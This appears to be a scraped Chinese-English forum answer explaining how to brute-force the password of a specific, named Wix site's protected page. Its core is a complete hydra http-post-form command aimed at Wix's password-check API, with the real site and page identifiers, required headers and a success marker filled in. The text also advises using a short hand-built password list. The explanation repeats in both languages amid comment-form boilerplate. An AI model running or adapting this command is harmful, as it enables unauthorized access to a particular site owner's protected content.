hydra -l '' -S -V -I -P password.txt site-pages.wix.com http-post-form"/_api/wix-public-html-info-webapp/resolve_protected_page_urls?siteRevision=3:{\"password\"\:\"^PASS^\",\"pageId\"\: \"tuckg\",\"metaSiteId\"\:\"5a94dc92-9e0c-477d-81cd-d61fedbb8731\",\"siteId\"\:\"8afe215c-3003-4e5d-a0ec-bf2f36925a5c\"}:S=\"success\"\:true:H=Origin\:https\://missyjezabel.wixsite.com:H=Accept\: */*:H=Content-Type\:application/json"
该站点连接到一个 API 端点，该端点使用不同的地址来验证密码是否与给定的站点 ID 匹配：
site-pages.wix.com/_api/wix-public-html-info-webapp/resolve_protected_page_urls?siteRevision=3
使用正确的 JSON 参数定位该站点：
{\"password\"\: \"^PASS^\",\"pageId\"\: \"tuckg\",\"metaSiteId\"\: \"5a94dc92-9e0c-477d-81cd-d61fedbb8731\",\"siteId\"\: \"8afe215c-3003-4e5d-a0ec-bf2f36925a5c\"}
如果密码正确，则响应包含“成功”： true json 字段。
S=\"success\"\:true
请求中包含一些必要的标头：
H=Origin\: https\://missyjezabel.wixsite.com:H=Accept\: */*:H=Content-Type\: application/json
对于字典攻击，password.txt 必须包含有效密码，否则将会失败。对于给定的场景，我会推荐一个简短的手动创建的列表。
The site reaches out to an API endpoint that uses a different address to verify that the password matches with the given site-id:
Target that site with correct JSON params:
If the password is correct the response contains a "success":true json field.
And some necessary headers to include in the requests:
As of a dictionary attack, the password.txt must contain the valid password otherwise it will fail. For the given scenario I would recommend a short manually created list.
由于您还没有绑定你的真实邮箱，如果其他用户或者作者回复了您的评论，将不能在第一时间通知您！
暂无简介
文章 0 评论 0
接受
发布评论
评论（1）
该站点连接到一个 API 端点，该端点使用不同的地址来验证密码是否与给定的站点 ID 匹配：
使用正确的 JSON 参数定位该站点：
如果密码正确，则响应包含“成功”： true json 字段。
请求中包含一些必要的标头：
对于字典攻击，password.txt 必须包含有效密码，否则将会失败。对于给定的场景，我会推荐一个简短的手动创建的列表。
The site reaches out to an API endpoint that uses a different address to verify that the password matches with the given site-id:
Target that site with correct JSON params:
If the password is correct the response contains a "success":true json field.
And some necessary headers to include in the requests:
As of a dictionary attack, the password.txt must contain the valid password otherwise it will fail. For the given scenario I would recommend a short manually created list.